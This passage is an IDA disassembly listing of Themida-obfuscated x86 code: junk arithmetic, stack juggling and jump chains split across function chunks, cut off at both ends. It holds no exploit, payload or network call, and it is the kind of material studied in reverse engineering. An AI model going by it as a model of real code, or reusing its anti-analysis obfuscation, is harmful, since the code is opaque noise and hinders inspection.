mov edx, 60807FADh
add [esp-0Ch+arg_C], edx
pop edx
jmp loc_56AEFF
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571088
loc_570153: ; CODE XREF: sub_571088-94E6j
push small 2189h
mov word ptr [esp+4+var_4], ax
push ecx
mov cl, 0FCh
add cl, 0D9h
mov ah, cl
mov ecx, [esp+8+var_8]
add esp, 4
xor ah, 96h
xor bl, ah
pop ax
add bl, 0B7h
xor al, bl
pop ebx
push eax
mov ah, 5Ah
and ah, 0
push bx
mov bh, ah
not bh
mov ah, bh
pop bx
inc ah
jmp loc_562289
; END OF FUNCTION CHUNK FOR sub_571088
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CD13
loc_57018D: ; CODE XREF: sub_56CD13+D1Ej
mov edx, 2C912526h
xor edx, 31CC385Eh
shl edx, 1
push ebx
mov ebx, 1A122D55h
or edx, ebx
jmp loc_570670
; END OF FUNCTION CHUNK FOR sub_56CD13
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5673C3
loc_5701A7: ; CODE XREF: sub_5673C3+B10Bj
xchg ecx, ebx
pop ecx
jmp loc_56B0AA
; END OF FUNCTION CHUNK FOR sub_5673C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572805
loc_5701AF: ; CODE XREF: sub_572805+14j
add dl, 0D6h
push eax
jmp loc_56B0B5
; END OF FUNCTION CHUNK FOR sub_572805
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56651E
loc_5701B8: ; CODE XREF: sub_56651E+85F2j
mov ecx, 4
jmp loc_56106B
; END OF FUNCTION CHUNK FOR sub_56651E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_5701C2: ; CODE XREF: sub_561418+102AAj
mov ebp, [esp+0]
add esp, 4
push ebp
mov ebp, 140C06E5h
add edx, 66EB377Fh
sub edx, ebp
jmp loc_56E67D
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
loc_5701DE: ; CODE XREF: Themida_:005752EDj
push 4F7Dh
mov [esp], edx
jmp loc_56F017
; ---------------------------------------------------------------------------
loc_5701EB: ; CODE XREF: Themida_:00571314j
add dword ptr [esp], 4
mov ebp, [esp]
jmp loc_562C14
; ---------------------------------------------------------------------------
loc_5701F7: ; CODE XREF: Themida_:0057185Dj
pop ebp
add edx, 1BED3AB8h
sub edx, 3ADF2B90h
jmp loc_566A3A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574FC9
loc_570209: ; CODE XREF: sub_574FC9-262Dj
shr edi, 1
shr edi, 3
jmp loc_56EC80
; END OF FUNCTION CHUNK FOR sub_574FC9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_570213: ; CODE XREF: sub_57354D-311Bj
add edx, 4
xchg edx, [esp+8+var_8]
pop esp
add ecx, esi
mov esi, [esp+4+var_4]
add esp, 4
push ebx
jmp loc_563B00
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E96D
loc_57022E: ; CODE XREF: sub_56E96D-AE1Cj
mov ebp, [esp+0Ch+var_C]
jmp loc_56A170
; END OF FUNCTION CHUNK FOR sub_56E96D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D3B7
loc_570236: ; CODE XREF: sub_56D3B7-51C7j
mov ebx, 4
jmp loc_5637CB
; END OF FUNCTION CHUNK FOR sub_56D3B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5690E8
loc_570240: ; CODE XREF: sub_5690E8+6686j
mov edx, 115D0B90h
sub edi, 4F5D17F7h
jmp loc_56FFD3
; END OF FUNCTION CHUNK FOR sub_5690E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572D45
loc_570250: ; CODE XREF: sub_572D45-BB16j
pop edx
push esi
mov esi, 612F312Ah
xor ebx, esi
pop esi
mov ebp, ebx
pop ebx
add eax, 39737977h
add eax, ebp
sub eax, 39737977h
jmp loc_573DCA
; END OF FUNCTION CHUNK FOR sub_572D45
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57236D
loc_57026E: ; CODE XREF: sub_57236D-4B1Dj
inc ebx
add ebx, 6593776Ch
sub ebx, 6EDD2F79h
add ecx, ebx
pop ebx
push 3FA2h
jmp loc_56DA80
; END OF FUNCTION CHUNK FOR sub_57236D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B577
loc_570288: ; CODE XREF: sub_56B577+7A32j
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+0Ch+var_C]
pop esp
push 49F5h
mov [esp+0Ch+var_C], edx
mov edx, esp
add edx, 4
sub edx, 4
xor edx, [esp+0Ch+var_C]
xor [esp+0Ch+var_C], edx
jmp loc_561BC5
; END OF FUNCTION CHUNK FOR sub_56B577
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563DCB
loc_5702BB: ; CODE XREF: sub_563DCB+3A36j
sub cl, 0FFh
dec cl
xor cl, al
xor al, cl
xor cl, al
push cx
push edx
jmp loc_56AD45
; END OF FUNCTION CHUNK FOR sub_563DCB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56628B
loc_5702CE: ; CODE XREF: sub_56628B-36F0j
mov ebp, 15B816C0h
inc ebp
sub ebp, 57C511F1h
push edx
mov edx, 79E04C6Dh
push ebx
mov ebx, 41D1176Dh
and edx, ebx
pop ebx
add edx, 4613F1EAh
jmp loc_56E341
; END OF FUNCTION CHUNK FOR sub_56628B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_5702F4: ; CODE XREF: sub_5685B2-5BD6j
and ebp, 62E00690h
sub ebp, 0C7129D4h
jmp loc_56FEC8
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565632
loc_570305: ; CODE XREF: sub_565632-4C5Aj
push edi
push esp
pop edi
add edi, 4
push esi
jmp loc_56E45D
; END OF FUNCTION CHUNK FOR sub_565632
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569FB8
loc_570314: ; CODE XREF: sub_569FB8+3913j
push eax
push edx
jmp loc_56DB6F
; END OF FUNCTION CHUNK FOR sub_569FB8
; ---------------------------------------------------------------------------
loc_57031B: ; CODE XREF: Themida_:00561AC3j
mov edx, 4
add eax, edx
pop edx
add eax, 4
xchg eax, [esp]
jmp loc_561A40
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5620B7
loc_570330: ; CODE XREF: sub_5620B7+FA83j
push ecx
mov ch, dl
push edx
mov dl, ch
jmp loc_568B06
; END OF FUNCTION CHUNK FOR sub_5620B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560CF1
loc_57033B: ; CODE XREF: sub_560CF1+14447j
add ebp, 4
xchg ebp, [esp+4+var_4]
pop esp
shr eax, 8
jmp loc_565DBC
; END OF FUNCTION CHUNK FOR sub_560CF1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_57034A: ; CODE XREF: sub_57354D-9159j
mov [esp+0], esi
jmp loc_5717B1
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569193
loc_570352: ; CODE XREF: sub_569193-3522j
pop esp
push 68AAh
mov [esp+0Ch+var_C], esi
jmp sub_574304
; END OF FUNCTION CHUNK FOR sub_569193
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574000
loc_570360: ; CODE XREF: sub_574000-13175j
push ecx
mov ecx, 4
add esi, ecx
pop ecx
push esi
push [esp+10h+var_C]
pop esi
pop [esp+10h+var_10]
pop esp
jmp loc_56FA07
; END OF FUNCTION CHUNK FOR sub_574000
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EB4A
loc_570378: ; CODE XREF: sub_56EB4A+9j
add cl, bl
pop ebx
sub al, cl
mov ecx, [esp+0]
add esp, 4
push [esp-4+arg_0]
mov ebx, [esp+0]
add esp, 4
jmp sub_564C54
; END OF FUNCTION CHUNK FOR sub_56EB4A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574949
loc_570394: ; CODE XREF: sub_574949-1542j
pop dword ptr [edi+eax*4]
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_574949
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B06D
loc_57039C: ; CODE XREF: sub_56B06D+785Ej
xchg ecx, [esp+1Ch+var_1C]
pop esp
mov [esp+18h+var_18], edi
jmp loc_572D83
; END OF FUNCTION CHUNK FOR sub_56B06D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56189F
loc_5703A8: ; CODE XREF: sub_56189F+9A10j
mov ebx, 476451C6h
mov edx, ebx
pop ebx
push ebp
jmp loc_56A719
; END OF FUNCTION CHUNK FOR sub_56189F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564020
loc_5703B6: ; CODE XREF: sub_564020-3980j
xor eax, 4B553D78h
add eax, 34B5E9FFh
mov edi, eax
pop eax
add ebx, edi
pop edi
push dword ptr [eax]
jmp loc_56E968
; END OF FUNCTION CHUNK FOR sub_564020
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_5703CD: ; CODE XREF: sub_561418+11A66j
pop edx
and edx, 4E125E05h
sub edx, 8C08118Bh
add eax, edx
pop edx
mov esi, [esp+18h+var_18]
push esi
jmp loc_56287B
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_5703E6: ; CODE XREF: sub_5678CB+A42Bj
sub al, 0B3h
sub bl, 27h
add bl, al
add bl, 27h
pop eax
push small 7B8Dh
mov [esp+0], dx
mov dh, 0CAh
add bl, dh
mov dx, [esp+0]
sub esp, 4
mov [esp+2+var_4+2], ecx
push esp
jmp loc_574FD2
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_57040D: ; CODE XREF: sub_57354D-9E79j
mov eax, 526226F1h
and eax, 538745EAh
inc eax
inc eax
add eax, 4C1E252Bh
sub eax, 0C0F15EF6h
sub esi, eax
push [esp+4+var_4]
pop eax
push edx
mov edx, esp
add edx, 4
jmp loc_570213
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
loc_570437: ; CODE XREF: Themida_:0056E9F1j
push 42D227Bh
pop ebp
jmp loc_56BB31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E96D
loc_570442: ; CODE XREF: sub_56E96D-608Bj
push eax
jmp loc_56D361
; END OF FUNCTION CHUNK FOR sub_56E96D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569CBC
loc_570448: ; CODE XREF: sub_569CBC+1BBj
add edi, ecx
pop ecx
xchg edi, [esp+10h+var_10]
pop esp
push ebp
mov ebp, esp
push ebx
mov ebx, 4
add ebp, ebx
mov ebx, [esp+14h+var_14]
add esp, 4
add ebp, 4
push ebp
push [esp+14h+var_10]
pop ebp
jmp loc_565890
; END OF FUNCTION CHUNK FOR sub_569CBC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574F16
loc_570474: ; CODE XREF: sub_574F16-119E1j
add eax, 4
add eax, 4
jmp loc_574B62
; END OF FUNCTION CHUNK FOR sub_574F16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5736FA
loc_570481: ; CODE XREF: sub_5736FA+17j
pop ebp
sub eax, edi
jmp loc_573662
; END OF FUNCTION CHUNK FOR sub_5736FA
; ---------------------------------------------------------------------------
loc_570489: ; CODE XREF: Themida_:005609FEj
push ebp
jmp loc_56DD1B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57549C
loc_57048F: ; CODE XREF: sub_57549C-674Ej
sub edx, 4
xchg edx, [esp+8+var_8]
jmp loc_5739B4
; END OF FUNCTION CHUNK FOR sub_57549C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57199D
loc_57049D: ; CODE XREF: sub_57199D-A20j
add ebx, 4
xchg ebx, [esp+4+var_4]
pop esp
push 5934h
mov [esp+4+var_4], ecx
jmp loc_56C511
; END OF FUNCTION CHUNK FOR sub_57199D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AEF2
loc_5704B4: ; CODE XREF: sub_56AEF2-74D6j
xor dl, 9Ch
push ebx
mov bl, 0C2h
or bl, 0C3h
and bl, 92h
add bl, 0Dh
add dl, bl
jmp loc_56E831
; END OF FUNCTION CHUNK FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5750DE
loc_5704CA: ; CODE XREF: sub_5750DE-DA3Ej
mov ecx, [esp+0]
add esp, 4
sub eax, 538F00CCh
add eax, esi
jmp loc_56413C
; END OF FUNCTION CHUNK FOR sub_5750DE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_5704DF: ; CODE XREF: sub_5685B2+71FCj
pop edx
add esp, 4
and edx, esi
pop esi
push ebp
push ecx
push edi
mov edi, 6AE836ABh
mov ecx, edi
pop edi
mov ebp, 8D1E8325h
jmp loc_56378B
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5738F4
loc_5704FE: ; CODE XREF: sub_5738F4+1B94j
mov ebp, 79842DE4h
inc ebp
sub ebp, 6E86318Ah
not ebp
sub ebp, 0ACC98D09h
add edi, ebp
pop ebp
jmp loc_56D009
; END OF FUNCTION CHUNK FOR sub_5738F4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5747D7
loc_57051A: ; CODE XREF: sub_5747D7-1054Ej
push edx
mov edx, 4
add ebx, edx
pop edx
push edx
mov edx, 4
sub ebx, edx
jmp loc_568FA7
; END OF FUNCTION CHUNK FOR sub_5747D7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CC46
loc_570530: ; CODE XREF: sub_56CC46-B559j
sub ecx, 52B20B69h
jmp loc_56BEBF
; ---------------------------------------------------------------------------
loc_57053B: ; CODE XREF: sub_56CC46-9064j
mov edi, 0FBDFEED5h
add ecx, edi
pop edi
add ebx, ecx
mov ecx, [esp+4+var_4]
sub esp, 4
mov [esp+8+var_8], ebx
mov ebx, esp
add ebx, 4
push edx
jmp loc_56CB38
; END OF FUNCTION CHUNK FOR sub_56CC46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571F6F
loc_57055F: ; CODE XREF: sub_571F6F+6j
mov [esp+4+var_4], ebx
jmp loc_5669DB
; END OF FUNCTION CHUNK FOR sub_571F6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_570567: ; CODE XREF: sub_561027+AB2Dj
push [esp+18h+var_18]
jmp loc_56BCF1
; END OF FUNCTION CHUNK FOR sub_561027
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_57056F: ; CODE XREF: sub_564D26+5CEAj
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+2Ch+var_2C]
pop esp
xor esi, edi
mov edi, [esp+28h+var_28]
add esp, 4
push ebp
mov ebp, esi
mov edx, ebp
pop ebp
pop esi
mov ecx, edx
pop edx
sub [edi+24h], ecx
push [esp+1Ch+var_1C]
pop ecx
jmp loc_5726D1
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571890
loc_57059C: ; CODE XREF: sub_571890+21DDj
xor ecx, 72363463h
neg ecx
jmp loc_56AF6B
; END OF FUNCTION CHUNK FOR sub_571890
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572D45
loc_5705A9: ; CODE XREF: sub_572D45-BF83j
xor ebx, [esp+0]
xor [esp+0], ebx
xor ebx, [esp+0]
pop esp
or [esp-4+arg_0], al
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_572D45
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA44
loc_5705BC: ; CODE XREF: sub_56FA44-37B4j
mov esi, esp
add esi, 4
jmp loc_56515C
; END OF FUNCTION CHUNK FOR sub_56FA44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572641
loc_5705C9: ; CODE XREF: sub_572641-D8Ej
sub ebp, 4
xchg ebp, [esp+8+var_8]
mov esp, [esp+8+var_8]
mov [esp+4+var_4], ebx
mov bh, 0D6h
shr bh, 4
push ecx
mov cl, 0CAh
sub cl, 0C9h
add bh, 0A0h
sub bh, cl
jmp loc_573441
; END OF FUNCTION CHUNK FOR sub_572641
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CC46
loc_5705ED: ; CODE XREF: sub_56CC46+145Aj
push ecx
mov ecx, 23383BDBh
jmp loc_573F89
; END OF FUNCTION CHUNK FOR sub_56CC46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568764
loc_5705F8: ; CODE XREF: sub_568764+7651j
xchg ecx, [esp+8+var_8]
pop esp
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_568764
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C295
loc_570601: ; CODE XREF: sub_56C295+4j
mov [esp+0], ebx
mov ebx, 63D61E34h
jmp loc_56078F
; END OF FUNCTION CHUNK FOR sub_56C295
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571F6F
loc_57060E: ; CODE XREF: sub_571F6F-10F3j
push eax
sub esp, 4
mov [esp+8+var_8], esp
add [esp+8+var_8], 4
jmp loc_562CFB
; END OF FUNCTION CHUNK FOR sub_571F6F
; =============== S U B R O U T I N E =======================================
sub_570621 proc near ; DATA XREF: Themida_:0055FF00o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00560F14 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056244E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005625D6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056329B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00563683 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00564D54 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056533B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00566FD7 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056859E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056C5F1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056FF59 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00573160 SIZE 00000007 BYTES
push 652Dh
push esp
pop [esp+8+var_8]
push ebp
push esp
pop ebp
push edx
mov edx, 4
add ebp, 74F016Eh
add ebp, edx
sub ebp, 74F016Eh
mov edx, [esp+0Ch+var_C]
add esp, 4
push ebx
mov ebx, 74F60114h
jmp loc_564D54
sub_570621 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56189F
loc_570652: ; CODE XREF: sub_56189F+3D1Dj
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56189F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570B3C
loc_570657: ; CODE XREF: sub_570B3C+EA6j
add esi, 3ACB1D3Ch
or esi, 1C1D0FABh
sub esi, 60584062h
sub ebx, esi
jmp loc_56768A
; END OF FUNCTION CHUNK FOR sub_570B3C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CD13
loc_570670: ; CODE XREF: sub_56CD13+348Fj
pop ebx
inc edx
xor edx, 2EFE05E0h
jmp loc_56039D
; END OF FUNCTION CHUNK FOR sub_56CD13
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5738F4
loc_57067D: ; CODE XREF: sub_5738F4-951j
pop ebx
shl eax, 7
shr eax, 6
shl eax, 6
sub eax, 0DAF49FE2h
push edi
push esi
jmp loc_5733DE
; END OF FUNCTION CHUNK FOR sub_5738F4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5638E4
loc_570693: ; CODE XREF: sub_5638E4+A09Ej
and esi, 4D026521h
push 0
sub [esp+14h+var_14], esi
pop esi
add esi, 45024505h
mov edi, esi
mov esi, [esp+10h+var_10]
add esp, 4
jmp loc_56F69A
; END OF FUNCTION CHUNK FOR sub_5638E4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568E5C
loc_5706B5: ; CODE XREF: sub_568E5C-47A0j
and eax, edx
mov edx, [esp+0Ch+var_C]
add esp, 4
shr eax, 6
jmp loc_5632A5
; END OF FUNCTION CHUNK FOR sub_568E5C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574FC9
loc_5706C5: ; CODE XREF: sub_574FC9-654Dj
push eax
mov eax, 4
add [esp+4], eax
pop eax
push dword ptr [esp+0]
pop ebx
add esp, 4
sub esp, 4
mov [esp+0], edx
push edi
push 41BF5FD2h
pop edi
xor edi, 7BAC111Bh
push edx
mov edx, 249F13C4h
sub edx, 0EA8BC4FFh
sub edi, edx
pop edx
jmp loc_575321
; END OF FUNCTION CHUNK FOR sub_574FC9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574F16
loc_5706FE: ; CODE XREF: sub_574F16-AF0Cj
or cl, 0CDh
shr cl, 5
shl cl, 3
sub cl, 2Fh
push 7A4Fh
mov [esp+0Ch+var_E+2], edx
mov dl, 7Ah
jmp loc_57451A
; END OF FUNCTION CHUNK FOR sub_574F16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A7FB
loc_570719: ; CODE XREF: sub_56A7FB+527Dj
pop eax
add al, bl
pop ebx
push 0A2Bh
mov [esp+0], ecx
mov ch, 6
jmp loc_563B64
; END OF FUNCTION CHUNK FOR sub_56A7FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567B29
loc_57072C: ; CODE XREF: sub_567B29+21Cj
pop ebx
jmp loc_567426
; END OF FUNCTION CHUNK FOR sub_567B29
; =============== S U B R O U T I N E =======================================
sub_570732 proc near ; DATA XREF: Themida_:0055FDA0o
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 005614C4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00561D7F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00561EFD SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056226F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005624DE SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005638BF SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00563B9D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005647FD SIZE 0000003B BYTES
; FUNCTION CHUNK AT 0056562C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056667B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005669F1 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00568362 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00568853 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00568D42 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005690D5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00569B14 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00569E5C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00569E7C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056AACB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056B46E SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0056B8EB SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056C7D6 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056C9E4 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056D36F SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0056D5E6 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056DDEB SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056EB67 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056F1A9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056F5AE SIZE 0000002F BYTES
; FUNCTION CHUNK AT 0056FC70 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0056FDF5 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00570075 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005707F1 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00570A32 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00572315 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005732CE SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00573CCD SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00574292 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00574B0A SIZE 0000000B BYTES
push dword ptr [edi+1Ch]
push [esp+4+var_4]
push [esp+8+var_8]
pop eax
push 70E7h
mov [esp+0Ch+var_C], esi
mov esi, esp
sub esp, 4
mov [esp+10h+var_10], edx
mov edx, 4
add esi, edx
pop edx
push eax
mov eax, 4
sub esi, 4D8E185Bh
add esi, eax
add esi, 4D8E185Bh
mov eax, [esp+10h+var_10]
add esp, 4
xchg esi, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
sub esp, 4
jmp loc_561EFD
sub_570732 endp
; ---------------------------------------------------------------------------
loc_57077F: ; CODE XREF: Themida_:0056360Dj
mov esp, [esp]
jmp loc_56F239
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574DC1
loc_570787: ; CODE XREF: sub_574DC1+Ej
push [esp+8+var_8]
jmp loc_56724C
; END OF FUNCTION CHUNK FOR sub_574DC1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571890
loc_57078F: ; CODE XREF: sub_571890+7j
mov [esp+4+var_4], eax
push 7A3Eh
jmp loc_56FF3D
; END OF FUNCTION CHUNK FOR sub_571890
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_57079C: ; CODE XREF: sub_563A7F+8C11j
xor cl, al
pop eax
jmp loc_566919
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57146D
loc_5707A4: ; CODE XREF: sub_57146D-9A9Cj
sub bh, dl
sub bh, 0A9h
pop edx
xor bh, ah
xor ah, bh
jmp loc_56F2AC
; END OF FUNCTION CHUNK FOR sub_57146D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_5707B3: ; CODE XREF: sub_574656-7C77j
add ecx, esi
pop esi
sub esp, 4
mov [esp+4+var_4], ebx
jmp loc_563BC0
; END OF FUNCTION CHUNK FOR sub_574656
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568E5C
loc_5707C4: ; CODE XREF: sub_568E5C+8E07j
xor [esp+0], esi
xor esi, [esp+0]
pop esp
push eax
mov eax, esp
push 3211h
mov [esp+4+var_4], ecx
push ebp
jmp loc_56043C
; END OF FUNCTION CHUNK FOR sub_568E5C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568D9E
loc_5707DC: ; CODE XREF: sub_568D9E+B9D1j
pop esp
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_568D9E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5620B7
loc_5707E2: ; CODE XREF: sub_5620B7-3EEj
pop eax
jmp loc_56B0E7
; END OF FUNCTION CHUNK FOR sub_5620B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EFD2
loc_5707E8: ; CODE XREF: sub_56EFD2-C0B0j
mov esi, eax
pop eax
pop ebx
jmp loc_562643
; END OF FUNCTION CHUNK FOR sub_56EFD2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570732
loc_5707F1: ; CODE XREF: sub_570732-1586j
add ebx, 4
push ebx
push [esp+1Ch+var_18]
jmp loc_5624DE
; END OF FUNCTION CHUNK FOR sub_570732
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB51
loc_570801: ; CODE XREF: sub_56AB51-11BAj
shl edx, 3
and edx, 4F607E32h
push ebx
mov ebx, 70704FD0h
xor ebx, 0A42604C7h
add edx, ebx
pop ebx
jmp loc_567786
; END OF FUNCTION CHUNK FOR sub_56AB51
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570E81
loc_57081E: ; CODE XREF: sub_570E81-F3AEj
not edi
add edi, 76299EBAh
mov eax, edi
pop edi
push edx
mov edx, 68A60D4h
jmp loc_571DBB
; END OF FUNCTION CHUNK FOR sub_570E81
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574AF3
